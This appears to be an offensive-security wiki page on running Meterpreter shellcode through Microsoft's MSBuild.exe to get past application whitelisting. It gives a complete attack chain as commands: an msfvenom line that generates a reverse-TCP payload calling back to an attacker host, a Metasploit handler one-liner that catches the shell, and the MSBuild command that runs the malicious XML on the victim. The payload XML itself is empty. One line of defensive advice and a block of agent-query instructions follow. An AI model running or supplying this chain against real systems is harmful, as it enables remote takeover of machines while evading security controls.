# Using MSBuild to Execute Shellcode in C\#
It's possible to use a native windows binary MSBuild.exe to compile and execute inline C# code stored in an xml as discovered by [Casey Smith](https://twitter.com/subTee).
## Execution
Generate meterpreter shellode in c#:
{% code title="attacker\@kali" %}
```csharp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 -f csharp
```
{% endcode %}
Insert shellcode into the shellcode variable in linne 46:
{% code title="bad.xml" %}
```markup
```
{% endcode %}
Spin up a handler in metasploit to catch your shell:
{% code title="attacker\@kali" %}
```csharp
msfconsole -x "use exploits/multi/handler; set lhost 10.0.0.5; set lport 443; set payload windows/meterpreter/reverse_tcp; exploit"
```
{% endcode %}
Build and execute malicious payload on the victim system using MSBuild:
{% code title="attacker\@victim" %}
```csharp
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\bad\bad.xml
```
{% endcode %}
## Observation
Note that it's MSBuild.exe that will make the TCP connection to the attacker, so as a defender, you should think about hunting for TCP connections initiated by MSBuild.
## References
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://www.ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.